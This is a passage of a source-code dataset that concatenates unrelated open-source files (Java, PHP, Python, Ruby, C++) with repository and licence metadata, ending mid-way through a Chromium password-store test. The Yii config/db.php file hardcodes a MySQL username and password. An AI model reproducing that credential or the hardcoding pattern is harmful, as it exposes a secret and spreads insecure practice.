= getCalendar(); boolean past = dateTimeUnit.getMonth() >= (getBaseMonth() + 1); List<Period> periods = Lists.newArrayList(); dateTimeUnit = cal.minusYears( dateTimeUnit, past ? 5 : 6 ); dateTimeUnit.setMonth( getBaseMonth() + 1 ); dateTimeUnit.setDay( 1 ); Calendar calendar = getCalendar(); for ( int i = 0; i < 11; i++ ) { periods.add( createPeriod( dateTimeUnit, cal ) ); dateTimeUnit = calendar.plusYears( dateTimeUnit, 1 ); } return periods; } /** * Generates the last 5 financial years where the last one is the financial * year which the given date is inside. */ @Override public List<Period> generateRollingPeriods( Date date ) { return generateLast5Years( date ); } @Override public List<Period> generateRollingPeriods( DateTimeUnit dateTimeUnit ) { return generateLast5Years( getCalendar().toIso( dateTimeUnit ).toJdkDate() ); } @Override public List<Period> generateLast5Years( Date date ) { Calendar cal = getCalendar(); DateTimeUnit dateTimeUnit = createLocalDateUnitInstance( date, cal ); boolean past = dateTimeUnit.getMonth() >= (getBaseMonth() + 1); List<Period> periods = Lists.newArrayList(); dateTimeUnit = cal.minusYears( dateTimeUnit, past ? 4 : 5 ); dateTimeUnit.setMonth( getBaseMonth() + 1 ); dateTimeUnit.setDay( 1 ); for ( int i = 0; i < 5; i++ ) { periods.add( createPeriod( dateTimeUnit, cal ) ); dateTimeUnit = cal.plusYears( dateTimeUnit, 1 ); } return periods; } @Override public Date getRewindedDate( Date date, Integer rewindedPeriods ) { Calendar cal = getCalendar(); date = date != null ? date : new Date(); rewindedPeriods = rewindedPeriods != null ? rewindedPeriods : 1; DateTimeUnit dateTimeUnit = createLocalDateUnitInstance( date, cal ); dateTimeUnit = cal.minusYears( dateTimeUnit, rewindedPeriods ); return cal.toIso( dateTimeUnit ).toJdkDate(); } }
kakada/dhis2
dhis-api/src/main/java/org/hisp/dhis/period/FinancialPeriodType.java
Java
bsd-3-clause
6,505
<?php use yii\helpers\Html; use yii\widgets\ActiveForm; /* @var $this yii\web\View */ /* @var $model app\models\ClinicaFoneSearch */ /* @var $form yii\widgets\ActiveForm */ ?> <div class="clinica-fone-search"> <?php $form = ActiveForm::begin([ 'action' => ['index'], 'method' => 'get', ]); ?> <?= $form->field($model, 'clinica') ?> <?= $form->field($model, 'sequencia') ?> <?= $form->field($model, 'principal') ?> <?= $form->field($model, 'fone') ?> <?= $form->field($model, 'obs') ?> <?php // echo $form->field($model, 'ativo') ?> <div class="form-group"> <?= Html::submitButton('Search', ['class' => 'btn btn-primary']) ?> <?= Html::resetButton('Reset', ['class' => 'btn btn-default']) ?> </div> <?php ActiveForm::end(); ?> </div>
baccaglini/labvet
views/clinica-fone/_search.php
PHP
bsd-3-clause
822
<? $_in_help_content_page=True; include('../_header.php'); ?> <div > <h1>About</h1> <h2><a name="history"></a>History</h2> <p>Paxtoncrafts Charitable Trust was formed in 2000 after a favourite uncle suffered a stroke, robbing him of his speech and the ability to read and write. His intellect was unimpaired, but he found it very frustrating being unable to communicate to friends and family. </p> <p>Several of our family had careers in the IT industry so we were surprised to discover that technology at this time was of little help. Communication devices were available, but very expensive, which meant speech and language therapists rarely encountered them and had little knowledge of this area. Nor was there any formal assessment process that would show whether a particular device was suitable. </p> <p>Therapists had low expectations of Uncle Ray's future ability to communicate but this was more about the lack of tools and options at their disposal, and not his potential or motivation.</p> <p>He resigned himself, good-naturedly, in his final few years to communicating with us in his own form of sign language.</p> <p>In recognising this to be a nationwide, even global problem, it seemed appropriate to do some thing about it. Garry and Liz Paxton, as committed Christians, formed the charity in order to address this need, with Garry leaving his IT career to move full time into the field of Augmentative and Alternative Communication. </p> <p>Supported by trustees and volunteers with specialist skills in the special needs sector, many bespoke speech and communication programs were created for elderly patients who had suffered a stroke (and had been referred to us by our local speech and language department) while our work at Southview Special school in Essex resulted in our working alongside youngsters with conditions such as cerebral palsy. We developed communication tools related to their social communication needs but additionally the curriculum requirements for each Key Stage in dialogue with teaching staff.</p> <p>We have also worked closely with the Revival Centre, a children's rehabilitation centre in Ukraine, which is 50 miles from the site of the Chernobyl nuclear disaster. Two thousand children a year are treated here, many born with disabilities arising from the radiation their parents acquired in 1986. Working with neurologists, we have developed a system for producing communication charts for the children which they can take home (few people can afford PCs or communication devices). The same team in Ukraine has now implemented this at the main geriatric hospital in Chernigiv, where adult stroke patients take home their own tailored communication book. The intention is to implement this across all relevant Ukrainian hospitals</p> <p>Straight Street Ltd was formed to own the IPR and copyright of all the charity's computer products. While all our computer programs are free, we found we often had to buy a symbol set on behalf of each client. The lack of a free symbol set became an obstacle to sharing our products more widely as this is a huge expense for a small charity, limiting the numbers of people we could reach. </p> <p>This, combined with the increasing bureaucracy required to run a UK Registered charity, the Trustees decided in 2007 that the wider work of the charity (which focussed on helping individuals locally) would be wound down. Instead, following a substantial grant, all our efforts would be concentrated on developing the symbol set, which we believe will have a much wider reach and a global impact. Our symbol set is now being translated into other languages. </p> <h2><a name="funding"></a>Our Funding</h2> <p>To make our products free, we decided to set up Paxtoncrafts Charitable Trust and obtain grants to fund our work. The development of a symbol set is time-consuming and costly, but other providers of symbol sets use the traditional approach of setting up a business and selling the symbols to fund the development.</p> <p>If you wish to make a contribution to our efforts, please <a href="/contact.php?subject=Donation">contact us</a> the Trustees at</p> <p> </p> <a href='../help.php'>Back to Help page</a> </div> </div> <? include('../_footer.php'); ?>
straight-street/straight-street
Helpfiles/about.php
PHP
bsd-3-clause
4,326
# -*- coding: utf-8 -*- # Generated by Django 1.11.6 on 2017-10-12 08:55 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion import tagulous.models.fields class Migration(migrations.Migration): dependencies = [ ('core', '0001_initial'), ] operations = [ migrations.AddField( model_name='tag', name='label', field=models.CharField(default='', help_text='The name of the tag, without ancestors', max_length=255), preserve_default=False, ), migrations.AddField( model_name='tag', name='level', field=models.IntegerField(default=1, help_text='The level of the tag in the tree'), ), migrations.AddField( model_name='tag', name='parent', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='children', to='core.Tag'), ), migrations.AddField( model_name='tag', name='path', field=models.TextField(default=''), preserve_default=False, ), migrations.AlterField( model_name='analysis', name='tags', field=tagulous.models.fields.TagField(_set_tag_meta=True, force_lowercase=True, help_text='Enter a comma-separated tag string', to='core.Tag', tree=True), ), migrations.AlterField( model_name='experiment', name='tags', field=tagulous.models.fields.TagField(_set_tag_meta=True, force_lowercase=True, help_text='Enter a comma-separated tag string', to='core.Tag', tree=True), ), migrations.AlterUniqueTogether( name='tag', unique_together=set([('slug', 'parent')]), ), ]
Candihub/pixel
apps/core/migrations/0002_auto_20171012_0855.py
Python
bsd-3-clause
1,878
/* * Copyright 2010 Google Inc. * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "SkImageInfo.h" #include "SkReadBuffer.h" #include "SkWriteBuffer.h" static bool profile_type_is_valid(SkColorProfileType profileType) { return (profileType >= 0) && (profileType <= kLastEnum_SkColorProfileType); } static bool alpha_type_is_valid(SkAlphaType alphaType) { return (alphaType >= 0) && (alphaType <= kLastEnum_SkAlphaType); } static bool color_type_is_valid(SkColorType colorType) { return (colorType >= 0) && (colorType <= kLastEnum_SkColorType); } void SkImageInfo::unflatten(SkReadBuffer& buffer) { fWidth = buffer.read32(); fHeight = buffer.read32(); uint32_t packed = buffer.read32(); SkASSERT(0 == (packed >> 24)); fProfileType = (SkColorProfileType)((packed >> 16) & 0xFF); fAlphaType = (SkAlphaType)((packed >> 8) & 0xFF); fColorType = (SkColorType)((packed >> 0) & 0xFF); buffer.validate(profile_type_is_valid(fProfileType) && alpha_type_is_valid(fAlphaType) && color_type_is_valid(fColorType)); } void SkImageInfo::flatten(SkWriteBuffer& buffer) const { buffer.write32(fWidth); buffer.write32(fHeight); SkASSERT(0 == (fProfileType & ~0xFF)); SkASSERT(0 == (fAlphaType & ~0xFF)); SkASSERT(0 == (fColorType & ~0xFF)); uint32_t packed = (fProfileType << 16) | (fAlphaType << 8) | fColorType; buffer.write32(packed); } bool SkColorTypeValidateAlphaType(SkColorType colorType, SkAlphaType alphaType, SkAlphaType* canonical) { switch (colorType) { case kUnknown_SkColorType: alphaType = kIgnore_SkAlphaType; break; case kAlpha_8_SkColorType: if (kUnpremul_SkAlphaType == alphaType) { alphaType = kPremul_SkAlphaType; } // fall-through case kIndex_8_SkColorType: case kARGB_4444_SkColorType: case kRGBA_8888_SkColorType: case kBGRA_8888_SkColorType: if (kIgnore_SkAlphaType == alphaType) { return false; } break; case kRGB_565_SkColorType: alphaType = kOpaque_SkAlphaType; break; default: return false; } if (canonical) { *canonical = alphaType; } return true; }
chenlian2015/skia_from_google
src/core/SkImageInfo.cpp
C++
bsd-3-clause
2,443
#!/usr/bin/env python3 #============================================================================== # author : Pavel Polishchuk # date : 14-08-2019 # version : # python_version : # copyright : Pavel Polishchuk 2019 # license : #============================================================================== __version__ = "0.2.9"
DrrDom/crem
crem/__init__.py
Python
bsd-3-clause
379
<?php return [ 'class' => 'yii\db\Connection', 'dsn' => 'mysql:host=localhost;dbname=yii2bank', 'username' => 'bankadmin', 'password' => '0Filfn6BcjvvgHy6', 'charset' => 'utf8', ];
K4lx4s/yii2bank
config/db.php
PHP
bsd-3-clause
202
# frozen_string_literal: true class StringSplitTest < MrubycTestCase # # Regex not supprted. # description "Sring" def string_case assert_equal ["a","b","c"], "a,b,c".split(",") assert_equal ["a","","b","c"], "a,,b,c".split(",") assert_equal ["a","b:c","d"], "a::b:c::d".split("::") assert_equal ["a","b:c","d:"], "a::b:c::d:".split("::") assert_equal ["a","b:c","d"], "a::b:c::d::".split("::") assert_equal ["a", "b:c", "d", ":"], "a::b:c::d:::".split("::") end description "space" def space_case assert_equal ["a", "b", "c"], " a \t b \n c\r\n".split(" ") assert_equal ["a", "b", "c"], "a \t b \n c\r\n".split(" ") assert_equal ["a", "b", "c"], " a \t b \n c".split(" ") assert_equal ["a", "b", "c"], "a \t b \n c".split(" ") assert_equal ["aa", "bb", "cc"], " aa bb cc ".split(" ") assert_equal ["aa", "bb", "cc"], "aa bb cc ".split(" ") assert_equal ["aa", "bb", "cc"], " aa bb cc".split(" ") assert_equal ["aa", "bb", "cc"], "aa bb cc".split(" ") end description "nil" def nil_case assert_equal ["a", "b", "c"], " a \t b \n c".split() assert_equal ["a", "b", "c"], " a \t b \n c".split(nil) end description "empty string" def empty_string_case assert_equal [" ", " ", " ", "a", " ", "\t", " ", " ", "b", " ", "\n", " ", " ", "c"], " a \t b \n c".split("") end description "limit" def limit_case assert_equal ["a", "b", "", "c"], "a,b,,c,,".split(",", 0) assert_equal ["a,b,,c,,"], "a,b,,c,,".split(",", 1) assert_equal ["a", "b,,c,,"], "a,b,,c,,".split(",", 2) assert_equal ["a", "b", ",c,,"], "a,b,,c,,".split(",", 3) assert_equal ["a", "b", "", "c,,"], "a,b,,c,,".split(",", 4) assert_equal ["a", "b", "", "c", ","], "a,b,,c,,".split(",", 5) assert_equal ["a", "b", "", "c", "", ""], "a,b,,c,,".split(",", 6) assert_equal ["a", "b", "", "c", "", ""], "a,b,,c,,".split(",", 7) assert_equal ["a", "b", "", "c", "", ""], "a,b,,c,,".split(",", -1) assert_equal ["a", "b", "", "c", "", ""], "a,b,,c,,".split(",", -2) assert_equal ["aa", "bb", "cc"], " aa bb cc ".split(" ", 0) assert_equal [" aa bb cc "], " aa bb cc ".split(" ", 1) assert_equal ["aa", "bb cc "], " aa bb cc ".split(" ", 2) assert_equal ["aa", "bb", "cc "], " aa bb cc ".split(" ", 3) assert_equal ["aa", "bb", "cc", ""], " aa bb cc ".split(" ", 4) assert_equal ["aa", "bb", "cc", ""], " aa bb cc ".split(" ", 5) assert_equal ["aa", "bb", "cc", ""], " aa bb cc ".split(" ",-1) assert_equal ["aa", "bb", "cc"], "aa bb cc".split(" ", 0) assert_equal ["aa bb cc"], "aa bb cc".split(" ", 1) assert_equal ["aa", "bb cc"], "aa bb cc".split(" ", 2) assert_equal ["aa", "bb", "cc"], "aa bb cc".split(" ", 3) assert_equal ["aa", "bb", "cc"], "aa bb cc".split(" ", 4) assert_equal ["aa", "bb", "cc"], "aa bb cc".split(" ",-1) end description "empty source" def empty_source_case assert_equal [], "".split(",") assert_equal [], "".split(",", 0) assert_equal [], "".split(",", 1) assert_equal [], "".split(",",-1) assert_equal [], "".split("") assert_equal [], "".split("", 0) assert_equal [], "".split("", 1) assert_equal [], "".split("",-1) assert_equal [], "".split(" ") assert_equal [], "".split(" ", 0) assert_equal [], "".split(" ", 1) assert_equal [], "".split(" ",-1) end description "delimiter only" def delimiter_only_case assert_equal [], ",".split(",") assert_equal [], ",".split(",", 0) assert_equal [","], ",".split(",", 1) assert_equal ["",""], ",".split(",",-1) assert_equal [], ",,".split(",") assert_equal [], ",,".split(",", 0) assert_equal [",,"], ",,".split(",", 1) assert_equal ["","",""],",,".split(",",-1) assert_equal [], " ".split(" ") assert_equal [], " ".split(" ", 0) assert_equal [" "], " ".split(" ", 1) assert_equal [""], " ".split(" ",-1) assert_equal [], " ".split(" ") assert_equal [], " ".split(" ", 0) assert_equal [" "], " ".split(" ", 1) assert_equal [""], " ".split(" ",-1) end end
mrubyc/mrubyc
test/string_split_test.rb
Ruby
bsd-3-clause
4,453
/*********************************************************************************************************************** ** ** Copyright (c) 2011, 2014 ETH Zurich ** All rights reserved. ** ** Redistribution and use in source and binary forms, with or without modification, are permitted provided that the ** following conditions are met: ** ** * Redistributions of source code must retain the above copyright notice, this list of conditions and the ** following disclaimer. ** * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the ** following disclaimer in the documentation and/or other materials provided with the distribution. ** * Neither the name of the ETH Zurich nor the names of its contributors may be used to endorse or promote products ** derived from this software without specific prior written permission. ** ** ** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, ** INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ** DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ** SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ** WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ** **********************************************************************************************************************/ #include "Cell.h" namespace OOInteraction { Cell::Cell(int x, Visualization::Item* item, int stringComponentsStart, int stringComponentsEnd) : Cell(x, 0, 1, 1, item, stringComponentsStart, stringComponentsEnd) {} Cell::Cell(int x, int y, Visualization::Item* item, int stringComponentsStart, int stringComponentsEnd) : Cell(x, y, 1, 1, item, stringComponentsStart, stringComponentsEnd) {} Cell::Cell(int x, int y, int width, int height, Visualization::Item* item, int stringComponentsStart, int stringComponentsEnd) : region_(x, y, width, height), item_(item), stringComponentsStart_(stringComponentsStart), stringComponentsEnd_(stringComponentsEnd < 0 ? stringComponentsStart : stringComponentsEnd) { } Cell::~Cell() { } int Cell::offset(const QStringList& allComponents, Qt::Key key, int* length) { int l = 0; for (int i = stringComponentsStart(); i <= stringComponentsEnd(); ++i) l += allComponents[i].length(); if (length) *length = l; return StringOffsetProvider::itemOffset(item(), l, key); } void Cell::setOffset(int newOffset) { StringOffsetProvider::setOffsetInItem(newOffset, item()); } } /* namespace OOInteraction */
patrick-luethi/Envision
OOInteraction/src/string_offset_providers/Cell.cpp
C++
bsd-3-clause
2,984
# Copyright (c) 2015, National Documentation Centre (EKT, www.ekt.gr) # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in # the documentation and/or other materials provided with the # distribution. # Neither the name of the National Documentation Centre nor the # names of its contributors may be used to endorse or promote # products derived from this software without specific prior written # permission. # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. __author__ = 'kutsurak' class RundeckException(Exception): def __init__(self, *args, **kwargs): super(RundeckException, self).__init__(*args, **kwargs)
EKT/pyrundeck
pyrundeck/exceptions.py
Python
bsd-3-clause
1,781
require 'save_without_timestamping' #Needed because Asset model may not exist any more class Asset < ActiveRecord::Base belongs_to :resource, :polymorphic => true end class TransferAssetDataToResources < ActiveRecord::Migration def self.up count = 0 Asset.all.each do |asset| resource = asset.resource resource.policy_id = asset.policy_id resource.project_id = asset.project_id if resource.save_without_timestamping count += 1 end if ["DataFile","Model","Protocol"].include?(resource.class.name) resource.versions.each do |version| version.policy_id = asset.policy_id version.project_id = asset.project_id version.save_without_timestamping end end end puts "#{count}/#{Asset.count} asset resources updated." end def self.down count = 0 Asset.all.each do |asset| resource = asset.resource resource.policy_id = nil resource.project_id = nil if ["DataFile","Model","Protocol"].include?(resource.class.name) resource.versions.each do |version| version.policy_id = nil version.project_id = nil version.save_without_timestamping end end if resource.save_without_timestamping count += 1 end end puts "#{count}/#{Asset.count} asset resources reverted." end end
njall/wel-seek
db/migrate/archive/20100708073047_transfer_asset_data_to_resources.rb
Ruby
bsd-3-clause
1,406
__author__ = 'Thomas Rueckstiess, ruecksti@in.tum.de' from agent import Agent from pybrain.datasets import ReinforcementDataSet class HistoryAgent(Agent): """ This agent stores actions, states, and rewards encountered during interaction with an environment in a ReinforcementDataSet (which is a variation of SequentialDataSet). The stored history can be used for learning and is erased by resetting the agent. It also makes sure that integrateObservation, getAction and giveReward are called in exactly that order. """ def __init__(self, indim, outdim): # store input and output dimension self.indim = indim self.outdim = outdim # create history dataset self.remember = True self.history = ReinforcementDataSet(indim, outdim) # initialize temporary variables self.lastobs = None self.lastaction = None def integrateObservation(self, obs): """ 1. stores the observation received in a temporary variable until action is called and reward is given. """ assert self.lastobs == None assert self.lastaction == None self.lastobs = obs def getAction(self): """ 2. stores the action in a temporary variable until reward is given. """ assert self.lastobs != None assert self.lastaction == None # implement getAction in subclass and set self.lastaction def enableHistory(self): self.remember = True def disableHistory(self): self.remember = False def giveReward(self, r): """ 3. stores observation, action and reward in the history dataset. """ # step 3: assume that state and action have been set assert self.lastobs != None assert self.lastaction != None # store state, action and reward in dataset if self.remember: self.history.addSample(self.lastobs, self.lastaction, r) self.lastobs = None self.lastaction = None def reset(self): """ clears the history of the agent. """ self.history.clear()
daanwierstra/pybrain
pybrain/rl/agents/history.py
Python
bsd-3-clause
2,202
DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': 'test.sqlite', } } INSTALLED_APPS = [ 'nocaptcha_recaptcha', ] MIDDLEWARE_CLASSES = [ 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.middleware.doc.XViewMiddleware', 'django.middleware.common.CommonMiddleware', ] NORECAPTCHA_SECRET_KEY = 'privkey' NORECAPTCHA_SITE_KEY = 'pubkey'
ImaginaryLandscape/django-nocaptcha-recaptcha
test_settings.py
Python
bsd-3-clause
636
from django.contrib import admin import models admin.site.register(models.Song) admin.site.register(models.Station) admin.site.register(models.Vote) admin.site.register(models.StationPoll) admin.site.register(models.StationVote)
f4nt/djpandora
djpandora/admin.py
Python
bsd-3-clause
230
/** *============================================================================ * Copyright The Ohio State University Research Foundation, The University of Chicago - * Argonne National Laboratory, Emory University, SemanticBits LLC, and * Ekagra Software Technologies Ltd. * * Distributed under the OSI-approved BSD 3-Clause License. * See http://ncip.github.com/cagrid-core/LICENSE.txt for details. *============================================================================ **/ package gov.nih.nci.cagrid.data.utilities.validation; import gov.nih.nci.cagrid.common.Utils; import java.net.URI; import java.util.Iterator; import java.util.List; import java.util.Map; import javax.wsdl.Definition; import javax.wsdl.Import; import javax.wsdl.Types; import javax.wsdl.WSDLException; import javax.wsdl.extensions.ExtensibilityElement; import javax.wsdl.extensions.UnknownExtensibilityElement; import javax.wsdl.factory.WSDLFactory; import javax.wsdl.xml.WSDLReader; import javax.xml.namespace.QName; import org.apache.axis.message.addressing.EndpointReferenceType; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.jdom.input.DOMBuilder; import org.w3c.dom.Element; /** * @author oster */ public class WSDLUtils { protected static Log LOG = LogFactory.getLog(WSDLUtils.class.getName()); public static Definition parseServiceWSDL(String wsdlLocation) throws WSDLException { WSDLFactory factory = WSDLFactory.newInstance(); WSDLReader wsdlReader = factory.newWSDLReader(); wsdlReader.setFeature("javax.wsdl.verbose", LOG.isDebugEnabled()); wsdlReader.setFeature("javax.wsdl.importDocuments", true); Definition mainDefinition = wsdlReader.readWSDL(wsdlLocation); return mainDefinition; } public static String getWSDLLocation(EndpointReferenceType epr) { return epr.getAddress().toString() + "?wsdl"; } public static void walkWSDLFindingSchema(Definition mainDefinition, Map<String, org.jdom.Element> schemas) { LOG.debug("Looking at WSDL at:" + mainDefinition.getDocumentBaseURI()); org.jdom.Element schema = extractTypesSchema(mainDefinition); if (schema != null) { LOG.debug("Found types schema."); schemas.put(mainDefinition.getDocumentBaseURI(), schema); } else { LOG.debug("No types schema found."); } LOG.debug("Looking for imports..."); Map imports = mainDefinition.getImports(); if (imports != null) { Iterator iter = imports.values().iterator(); while (iter.hasNext()) { LOG.debug("Found imports..."); List wsdlImports = (List) iter.next(); for (int i = 0; i < wsdlImports.size(); i++) { Import wsdlImport = (Import) wsdlImports.get(i); Definition importDefinition = wsdlImport.getDefinition(); if (importDefinition != null) { LOG.debug("Looking at imported WSDL at:" + importDefinition.getDocumentBaseURI()); walkWSDLFindingSchema(importDefinition, schemas); } } } } } public static org.jdom.Element extractTypesSchema(Definition wsdlDefinition) { org.jdom.Element typesSchemaElm = null; if (wsdlDefinition != null) { Types types = wsdlDefinition.getTypes(); if (types != null) { List extensibilityElements = types.getExtensibilityElements(); for (int i = 0; i < extensibilityElements.size(); i++) { ExtensibilityElement schemaExtElem = (ExtensibilityElement) extensibilityElements.get(i); if (schemaExtElem != null) { QName elementType = schemaExtElem.getElementType(); if (elementType.getLocalPart().equals("schema") && (schemaExtElem instanceof UnknownExtensibilityElement)) { Element element = ((UnknownExtensibilityElement) schemaExtElem).getElement(); DOMBuilder domBuilder = new DOMBuilder(); typesSchemaElm = domBuilder.build(element); } } } } } return typesSchemaElm; } public static URI determineSchemaLocation(Map<String, org.jdom.Element> schemas, String namespace) { LOG.debug("Trying to find XSD location of namespace:" + namespace); if (schemas != null) { Iterator<String> iterator = schemas.keySet().iterator(); while (iterator.hasNext()) { String mainURI = iterator.next(); org.jdom.Element schema = schemas.get(mainURI); Iterator<?> childIter = schema.getChildren("import", schema.getNamespace()).iterator(); while (childIter.hasNext()) { org.jdom.Element importElm = (org.jdom.Element) childIter.next(); String ns = importElm.getAttributeValue("namespace"); if (ns.equals(namespace)) { String location = importElm.getAttributeValue("schemaLocation"); LOG.debug("Found relative XSD location of namespace (" + namespace + ")=" + location); URI schemaURI = URI.create(Utils.encodeUrl(mainURI)); URI importURI = schemaURI.resolve(location); LOG.debug("Converted complete location of namespace (" + namespace + ") to: " + importURI.toString()); return importURI; } } } } return null; } }
NCIP/cagrid-core
caGrid/projects/data/src/java/utilities/gov/nih/nci/cagrid/data/utilities/validation/WSDLUtils.java
Java
bsd-3-clause
4,989
package edu.wpi.first.wpilibj.templates.commands; import edu.wpi.first.wpilibj.command.CommandGroup; /** * * @author vignesh */ public class AutoCommandGroup extends CommandGroup { public AutoCommandGroup() { addParallel(new autoClawArmDownCommand()); addParallel(new CompressorCommand()); addSequential(new autoWinchCommand()); addSequential(new autoUnwinchCommand()); addSequential(new openLatchCommand()); addSequential(new AutoDriveCommand()); } }
viggy96/FRCteam3331_2014
src/edu/wpi/first/wpilibj/templates/commands/AutoCommandGroup.java
Java
bsd-3-clause
528
## # Contains all logic for gathering and displaying backtraces. class Backtrace include Enumerable attr_accessor :frames attr_accessor :top_context attr_accessor :first_color attr_accessor :kernel_color attr_accessor :eval_color def initialize @frames = [] @top_context = nil @first_color = "\033[0;31m" @kernel_color = "\033[0;34m" @eval_color = "\033[0;33m" end def [](index) @frames[index] end def show(sep="\n", colorize = true) first = true color_config = Rubinius::RUBY_CONFIG["rbx.colorize_backtraces"] if color_config == "no" or color_config == "NO" colorize = false color = "" clear = "" else clear = "\033[0m" end formatted = @frames.map do |ctx| recv = ctx.describe loc = ctx.location color = color_from_loc(loc, first) if colorize first = false # special handling for first line times = @max - recv.size times = 0 if times < 0 "#{color} #{' ' * times}#{recv} at #{loc}#{clear}" end return formatted.join(sep) end def join(sep) show end alias_method :to_s, :show def color_from_loc(loc, first) return @first_color if first if loc =~ /kernel/ @kernel_color elsif loc =~ /\(eval\)/ @eval_color else "" end end MAX_WIDTH = 40 def fill_backtrace @max = 0 @backtrace = [] # Skip the first frame if we are raising an exception from # an eval's BlockContext if @frames.at(0).from_eval? frames = @frames[1, @frames.length - 1] else frames = @frames end frames.each_with_index do |ctx, i| str = ctx.describe @max = str.size if str.size > @max @backtrace << [str, ctx.location] end @max = MAX_WIDTH if @max > MAX_WIDTH end def self.backtrace(ctx=nil) ctx ||= MethodContext.current.sender obj = new() obj.top_context = ctx obj.frames = ctx.context_stack # TODO - Consider not doing this step if we know we want MRI output obj.fill_backtrace return obj end def each @backtrace.each { |f| yield f.last } self end def to_mri return @top_context.stack_trace_starting_at(0) end end
chad/rubinius
kernel/delta/backtrace.rb
Ruby
bsd-3-clause
2,223
#mixin to automate testing of Rest services per controller test require 'libxml' require 'pp' module RestTestCases SCHEMA_FILE_PATH = File.join(Rails.root, 'public', '2010', 'xml', 'rest', 'schema-v1.xsd') def test_index_rest_api_xml #to make sure something in the database is created object=rest_api_test_object get :index, :format=>"xml" perform_api_checks end def test_get_rest_api_xml object=rest_api_test_object get :show,:id=>object, :format=>"xml" perform_api_checks end def perform_api_checks assert_response :success valid,message = check_xml assert valid,message validate_xml_against_schema(@response.body) end def check_xml assert_equal 'application/xml', @response.content_type xml=@response.body return false,"XML is nil" if xml.nil? return true,"" end def validate_xml_against_schema(xml,schema=SCHEMA_FILE_PATH) document = LibXML::XML::Document.string(xml) schema = LibXML::XML::Schema.new(schema) result = true begin document.validate_schema(schema) rescue LibXML::XML::Error => e result = false assert false,"Error validating against schema: #{e.message}" end return result end def display_xml xml x=1 xml.split("\n").each do |line| puts "#{x} #{line}" x=x+1 end end end
aina1205/virtualliverf1
test/rest_test_cases.rb
Ruby
bsd-3-clause
1,407
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "testing/gmock/include/gmock/gmock.h" #include "testing/gtest/include/gtest/gtest.h" #include "base/basictypes.h" #include "base/files/scoped_temp_dir.h" #include "base/path_service.h" #include "base/stl_util.h" #include "base/strings/string_util.h" #include "base/strings/utf_string_conversions.h" #include "chrome/browser/password_manager/password_store_mac.h" #include "chrome/browser/password_manager/password_store_mac_internal.h" #include "chrome/common/chrome_paths.h" #include "components/password_manager/core/browser/password_store_consumer.h" #include "content/public/test/test_browser_thread.h" #include "crypto/mock_apple_keychain.h" using autofill::PasswordForm; using base::ASCIIToUTF16; using base::WideToUTF16; using content::BrowserThread; using crypto::MockAppleKeychain; using internal_keychain_helpers::FormsMatchForMerge; using internal_keychain_helpers::STRICT_FORM_MATCH; using testing::_; using testing::DoAll; using testing::Invoke; using testing::WithArg; namespace { class MockPasswordStoreConsumer : public PasswordStoreConsumer { public: MOCK_METHOD1(OnGetPasswordStoreResults, void(const std::vector<autofill::PasswordForm*>&)); void CopyElements(const std::vector<autofill::PasswordForm*>& forms) { last_result.clear(); for (size_t i = 0; i < forms.size(); ++i) { last_result.push_back(*forms[i]); } } std::vector<PasswordForm> last_result; }; ACTION(STLDeleteElements0) { STLDeleteContainerPointers(arg0.begin(), arg0.end()); } ACTION(QuitUIMessageLoop) { DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI)); base::MessageLoop::current()->Quit(); } class TestPasswordStoreMac : public PasswordStoreMac { public: TestPasswordStoreMac( scoped_refptr<base::SingleThreadTaskRunner> main_thread_runner, scoped_refptr<base::SingleThreadTaskRunner> db_thread_runner, crypto::AppleKeychain* keychain, LoginDatabase* login_db) : 